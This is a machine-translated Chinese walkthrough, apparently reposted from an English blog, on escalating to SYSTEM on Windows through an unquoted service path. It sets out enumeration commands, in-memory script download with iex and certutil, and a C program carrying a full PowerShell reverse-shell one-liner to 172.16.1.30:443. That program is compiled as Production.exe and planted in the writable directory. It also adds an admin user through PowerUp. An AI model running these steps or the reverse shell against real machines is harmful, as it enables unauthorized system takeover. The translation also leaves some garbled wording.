本文通过 Google 翻译 Unquoted Service Paths – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部门表达别扭的字词进行了校正及个别注释增补。
导航
0、前言
在 Windows 提权技术中,最常见的提权方式是利用服务的错误配置。而服务错误配置的方式有很多,但迄今为止最有趣的还得是服务路径未被引用。在这篇文章中,我们将看到由薄弱的目次权限和带有空格和无引号的服务路径组合在一起之后是如何使得用户权限从标准用户被提升到了本地 SYSTEM。
首先,我们利用手动技术和自动工具去枚举发现未引用的服务路径。其次,通过进一步枚举,确定我们是否拥有路径中某个目次的写入权限。然后,通过手工自制一个反向 shell 的步伐,并在攻击者机器上完成编译。最后,我们会将这个自制步伐传输到受害者的特定目次下,并重启系统以得到 SYSTEM shell。
1、未引用的服务路径漏洞原理
未加引号的服务路径漏洞是指:当 Windows 在启动服务时,假如服务的可执行文件路径中包含有空格,但整个路径又未利用双引号包裹。此时,系统便会按照路径优先级逐层查找可执行文件。例如:
假设一个服务的路径是 C:\Program Files\Juggernaut Prod\Production Tools\Juggernaut.exe。此时,Windows 可能会按照以下顺序逐个实行查找并执行服务启动步伐。
- C:\Program.exe
- C:\Program Files\Juggernaut.exe
- C:\Program Files\Juggernaut Prod\Production.exe
- C:\Program Files\Juggernaut Prod\Production Tools\Juggernaut.exe
这意味着,假如我们有权限在实际的可执行文件位置之前的三个目次中的任何一个中写入内容,那我们就可以制作一个可执行文件,并根据路径中的名称为其定名,就像上面的例子一样。之后,当服务启动时,它将执行我们的恶意步伐,而不是预定的步伐。
假如我们可以写入 C:\,我们将制作一个名为 Program.exe 的可执行文件,并将其放入 C:\;假如我们能写入 C:\Program Files,我们就会制作一个名为 Juggernaut.exe 的可执行文件,并将其放入 C:\Program Files。以此类推...
2、征采未引用的服务路径
在此示例中,假设我们作为标准用户 cmarko 已在目标机器上得到了立足点。
在得到立足点之后的首要事情便是通过 whoami /priv 命令检查当前用户的特权。
可以看到用户 cmarko 拥有 SeShutdownPrivilege 权限,而这一点在稍后利用服务获取 SYSTEM shell 时非常紧张,由于须要以重启主机的方式重启服务。【由于在大多数情况下,虽然我们有能力滥用服务,但却没有停止和启动服务的权限。而假如服务是自启动的,那我们就可以利用重启机器来重启服务。】
在有了立足点之后,我们就可以利用内置命令手动枚举系统中任何未引用的服务路径,大概也可以利用工具来查找这些错误配置。
2.1、枚举未引用的服务路径-手动
可以利用 cmd.exe 和 PowerShell 手动查找系统中任何未引用的服务路径。
在 cmd 中的命令如下:- wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\" |findstr /i /v """
复制代码
在上述命令中,我们利用 wmic 查询服务并提取了我们感兴趣的信息。同时还利用 findstr 命令过滤掉了以 C:\Windows 开头的目次中的任何效果,由于在这些目次中即便发现了错误配置我们也没有写入权限。而第二个 findstr 命令会筛选任何包含双引号的效果。
在 PowerShell 中的等效命令如下:- Get-WmiObject -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select Name,DisplayName,StartMode,PathName
复制代码
颠末上面这两个命令的查询发现,Juggernaut 服务具有未引用的服务路径,而且该服务是自启动服务。
2.2、枚举未引用的服务路径-工具
有很多后利用工具和脚本可利用,但在本例中,我们将坚持利用 PowerUp.ps1 和 winPEASx64.exe。
在下载每个工具的副本之后,我们将其转移到受害者机器。
2.2.1、PowerUp.ps1
在此例中,我们先将以下命令附加到 PowerUp.ps1 脚本的底部:- echo 'Invoke-AllChecks' >> PowerUp.ps1
复制代码
接着,在脚本的当前目次下启动 HTTP 服务器。- python3 -m http.server 80
复制代码 然后,利用命令 powershell -ep bypass 进入受害者 shell 上的 PowerShell 会话中,再利用以下命令将 PowerUp.ps1 直接下载到内存中并执行脚本:- iex(new-object net.webclient).downloadstring('http://172.16.1.30/PowerUp.ps1')
复制代码
在这里,可以看到 PowerUp 可以或许为我们枚举这种错误配置的服务。此外,PowerUp.ps1 还内置函数可以用来滥用它发现的大多数错误配置。不过,须要指出的是,当 PowerUp 发现一个未引用的服务路径时,并不肯定就意味着它是“易受攻击的”,由于 PowerUp 只是识别了错误配置,然后在假定在未引用的服务路径可被利用的情况下提供了一个 AbuseFunction,详细能否利用还是须要自己去判断。【注:滥用利用在本文的第 6 节讲述】
2.2.2、winPEAS
接下来开始 winPEAS 工具的利用,首先须要下载 winPEAS 的副本并传输到受害者机器上。- certutil -split -f -urlcache "http://172.16.1.30/winPEASx64.exe"
复制代码
在受害者机器上执行 winPEAS 之后,会发现 winPEAS 会输出大量的信息让人很轻易犯迷糊,因此制止迷糊的关键在于要清楚我们要找的信息所在的标识位置。对于未引用的服务路径,我们要检查“Services Information”部门。这里会为我们提供有关服务名称、服务启动步伐路径和启动类型等信息。
此外,假如我们继续向下查看 PEAS 的输出效果,就会发现它还枚举了在未引用路径上哪些目次我们具有写入权限。
毫无疑问,winPEAS 的能力实在是令人难以置信。但是,假如你要从输出的内容中获取到有用的信息的话,还是要多锻炼锻炼。
3、沿着服务路径枚举目次权限
目前,我们已经发现了未引用的服务路径,但仍无法确定它是否真的脆弱。为此,可以利用内置命令 icacls 或 Get-Acl 来检查沿着服务路径上每一层目次的权限,别的,也还会利用外部工具 accesschk.exe 来检查。
3.1、cmd.exe(icacls)
首先,在 cmd 会话中利用内置命令 icacls 来检查目次和文件的 ACL 的权限。而为了能理解 icacls 命令输出的信息,我们须要相识以下关于权限和用户组相关的知识:
【知识1】:我们要查找的目次权限只要是以下三种权限中的任意一种均可:
- (F) Full Control【完全控制】
- (M) Modify【修改】
- (W) Write【写入】
【知识2】:我们会经常见到的用户/组如下:
- 当前登录用户,如 bob。
- Authenticated Users【注:通过 控制台、RDP、WinRM、SMB 登录系统的用户都属于已认证用户。】
- Everyone
- BUILTIN\Users
- NT AUTHORITY\INTERACTIVE
接下来,我们打算从左到右开始目次的权限检查,例如:- icacls C:\
- icacls "C:\Program Files"
- icacls "C:\Program Files\Juggernaut Prod"
复制代码
可以看到,沿着未引用的文件路径我们找到了可写目次,而这就是可以进行恶意利用的地方!
关于上面的输出内容,这里有三点须要提及一下:
- 第一,我们经常会看到通过身份验证的用户在默认情况下拥有对 C:\ 的修改权限。然而,这其实是一种特殊的高级权限,它实际上只允许在该位置创建子目次,而无法向此中写入可执行文件或任何文件!【注:普通用户是可以在C盘根目次下创建子目次,然后在子目次中写入文件。】
- 第二,通常情况下,我们是无法将文件写入 C:\ 或 C:\Program Files,但仍旧值得去实行检查一下,万一用户误配置呢。【注:只有本地管理员组的用户在高完整性 shell 中才能在这些目次的根下写入文件,注意是写入文件而不是新建目次,由于对于C盘来说新建目次是个例外。】
- 第三,为什么我们不直接检查路径中的最后一个目次?由于那是包含实际服务启动步伐的目次。而假如在那里有写入权限,那这就是服务的弱权限文件漏洞了,而不须要利用未引用的服务路径来利用它。
就简单测试来说,当我们试图将 EXE 文件或 TXT 文件移动或写入到 C:\ 时,我们会被提示拒绝访问。
3.2、PowerShell(Get-ACL)
也可以在 PowerShell 会话中利用以下命令执行相同的枚举:- Get-Acl -Path C:\ | Format-List
- Get-Acl -Path "C:\Program Files" | Format-List
- Get-Acl -Path "C:\Program Files\Juggernaut Prod" | Format-List
复制代码
在上面我们可以看到,它并没有像 icacls 那样在 C:\ 上显示“Modify”。相反,它提供了 "访问掩码格式",上面的数字其实也就是 “Modify”的数字表现情势。
注:Get-Acl -Path C:\ | Format-List和 Get-Acl -Path C: | Format-List 输出的效果还是有所不同。主要是由于 C:\ 和 C: 在 Windows 文件系统中有着不同的语义,C:\ 代表完整的根目次路径,而 C: 仅表现 C 盘当前所在的活动工作目次,一样平常是 C:\Users\YourName,但也不绝对。
3.3、accesschk
接下来,利用 Sysinternals 工具套件的 Accesschk64.exe 工具来对目次权限进行查看。
将 accesschk64.exe 的副本下载并传输到受害者机器上。
然后利用以下命令来枚举相同的目次:- .\accesschk64.exe -wvud "C:" -accepteula
- .\accesschk64.exe -wvud "C:\Program Files" -accepteula
- .\accesschk64.exe -wvud "C:\Program Files\Juggernaut Prod" -accepteula
复制代码
从上面可以看到,accesschk 为我们提供了关于 C:\ 目次上最准确的权限阐明,即 当前用户虽然拥有 W 写访问权限,但实际仅限于创建文件夹 (FILE_ADD_SUBDIRECTORY)。
由于当前用户不能在 C:\Program Files 目次中写入文件, 再加上 accesschk64.exe -w 选项只过滤写访问的原因,以是在上面的输出中我们并不能看到有关标准用户的任何效果。
最后,在上面可以看到,标准用户拥有大量的 FILE_WRITE 和 FILE_ADD 权限,但并没有显示“完全访问”。这可以推断为修改权限。
3.4、winPEAS
之前在利用 winPEAS 时,看到“Service Information”部门有一个未引用的服务路径。
从那里开始继续向下滚动到“Application Information”部门,然后检查“Installed Applications”子部门。假如我们可以或许利用该服务,那么就能从这里找到拥有写入权限的未引用服务路径中的谁人目次。
假如在这部门中没有找到与我们发现的未引用服务路径相关联的可写目次,那么我们很可能也无法利用该服务。假如出现了这种情况,那么在彻底排除这一发现之前,仍应继续利用上述其它的手动方法继续确认,以防误报。
4、自制反向 shell 载荷
截至目前,我们发现的信息有:
- 有一个服务存在未引用的服务路径,路径是 C:\Program Files\Juggernaut Prod\Production Tools\Juggernaut.exe。
- 该服务是开机自启动服务,且当前用户具有 SeShutdown 特权。
- 当前用户可以在 C:\Program Files\Juggernaut Prod\ 目次写入文件。
这种权限升级技术的下一步便是制作一个自定义漏洞利用步伐,并将其放在 C:\Program Files\Juggernaut Prod\ 中。为此,我制作了一个自定义可执行文件,它可以在攻击者的机器上直接编译。- #include <windows.h>
- #include <stdio.h>
- int main(){
- system("whoami >> C:\\temp\\whoami.txt");
- return 0;
- }
复制代码 可以看到,我们的可执行文件将运行 whoami 命令,并将输出效果重定向到一个文件。虽然这是一个很酷的 POC,但我们真正想要的是一个反向 shell。
为此,让我们编辑此脚本中的 whoami 命令并将其替换为下面的 PowerShell 1-liner 命令,这样就能在执行该命令时得到一个反向 shell:- "powershell.exe -nop -c "$client = New-Object System.Net.Sockets.TCPClient('172.16.1.30',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()""
复制代码注:脚本中的 IP 为攻击者机器的 IP 地址。
请注意,上述的 PowerShell 命令周围的双引号旁边的转义字符是须要存在的。这是为了让代码将它们读作字面上的双引号,由于假如没有双引号,代码将无法编译,大概即使编译了也无法运行。
如今 exploit.c 文件可以编译了,可以利用 mingw-w64 或以下命令直接在攻击者机器上编译它:- x86_64-w64-mingw32-gcc exploit.c -o Production.exe
复制代码
编译完成之后便可将恶意步伐传输到受害者机器。
5、利用未引用的服务路径
接下来,只需将漏洞利用步伐移到 "C:\Program Files\Juggernaut Prod " 目次中,然后在攻击者机器上启动 443 端口的 netcat 监听器,最后重启受害者机器即可。
重新启动计算机可以利用以下命令:回到监听器,我们就得到了一个 SYSTEM shell!
有时间在回到监听器的时间发现似乎并没有发生什么变革,也没有出现任何提示,这时只需按下回车键,提示就会出现。
6、滥用 PowerUp.ps1 功能
之前在 2.2.1 小节的时间,当我们利用 PowerUp.ps1 枚举未引用的服务路径时,它显示有 AbuseFunction (滥用)字段。如今,我们可以用它来利用这个漏洞。
利用此 AbuseFunction 将会在当前目次下创建一个恶意步伐,而运行该步伐将会创建一个新用户,并将该用户归入管理员组。【注:以当前普通用户的身份单独执行该步伐是不起作用的。】- Write-ServiceBinary -ServiceName 'Juggernaut'
复制代码
此时,我们须要将上述天生 service.exe 步伐写入 "C:\Program Files\Juggernaut Prod" ,然后将其重定名为 Production.exe。
如今,当我们重启系统并回到之前的反向 shell 时,可以看到新的用户已创建并被添加到了本地管理员组!
此时,假如很荣幸发现目标系统的 RDP 服务是打开的,那我们就可以利用 xfreerdp 进行 RDP 登录,然后以“以管理员身份运行”打开 cmd,进入到具有完全权限的高完整性 shell 中。- sudo xfreerdp /u:john /p:'Password123!' /v:172.16.1.50 +clipboard
复制代码
但是,假如目标没有打开 RDP 服务。此时,我们就须要通过 Runas 和 UAC-bypass 技术来获取管理员高完整性 shell。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |